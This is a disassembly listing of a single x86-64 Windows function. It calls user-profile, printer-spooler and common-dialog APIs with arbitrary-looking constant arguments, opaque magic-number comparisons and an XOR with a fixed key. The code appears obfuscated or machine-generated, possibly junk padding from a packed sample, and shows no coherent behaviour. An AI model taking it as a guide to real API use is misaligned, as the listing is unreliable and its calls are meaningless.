mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rax]
call fcn.1401b3150
nop
jmp 0x1401b2f05
lea r8, [rsp + 0x4d18]
mov rdx, qword [rsp + 0x8d90]
mov rcx, qword [rsp + 0x8cb0]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
mov dword [rsp + 0x4d20], eax
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
mov qword [rsp + 0x26bd0], rax
movabs rax, 0x1b690f7f89e2006e
cmp qword [rsp + 0x26bd0], rax
je 0x1401b2f49
movabs rax, 0x49675cdf5ebabb98
cmp qword [rsp + 0x26bd0], rax
je 0x1401b303b
jmp 0x1401b3051
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8bd0]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x1401b3039
lea r9, [rsp + 0x8be8]
mov r8d, 0xc5
lea rdx, [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x8c70]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x7f20], eax
movzx eax, word [rsp + 0x121c]
movzx ecx, word [rsp + 0x14cc]
sub eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movsx eax, word [rsp + 0x14d0]
movsx ecx, word [rsp + 0x14c4]
add eax, ecx
mov word [rsp + 0x14c8], ax
lea rax, [rsp + 0x121c]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x26cd0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x36
lea rax, [rsp + 0x8c20]
mov qword [rsp + 0x20], rax
mov r9d, 0x1a
mov r8d, 0x3c
mov edx, 0x4a
mov rcx, qword [rsp + 0x8c70]
call sub.WINSPOOL.DRV_EnumJobsA
mov dword [rsp + 0x4d20], eax
jmp 0x1401b3051
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
add eax, 0x3e2e584b
mov dword [rsp + 0x4cf0], eax
jmp 0x1401b3081
movsx eax, word [rsp + 0x14c8]
add eax, 0x1063
movsx ecx, word [rsp + 0x14c4]
cmp eax, ecx
jge 0x1401b3081
lea rcx, [rsp + 0x26fd0]
call qword [sym.imp.COMDLG32.dll_PrintDlgA]
mov dword [rsp + 0x4ce4], eax
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0x1ce]
cmp eax, ecx
jge 0x1401b30eb
mov eax, dword [rsp + 0x4d00]
add eax, 0x15f06b89
mov dword [rsp + 0x4d18], eax
lea rcx, [rsp + 0x26be0]
call qword [sym.imp.COMDLG32.dll_ChooseColorA]
mov dword [rsp + 0x4d78], eax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
or eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
jmp 0x1401b312c
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
and eax, ecx
movzx ecx, byte [rsp + 0x1db]
cmp eax, ecx
jne 0x1401b312c
mov rax, qword [rsp + 0x8bf8]
movabs rcx, 0x9cffe8f49eaafb07
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8be8], rax
mov eax, dword [rsp + 0x6794]
add rsp, 0x273e8
ret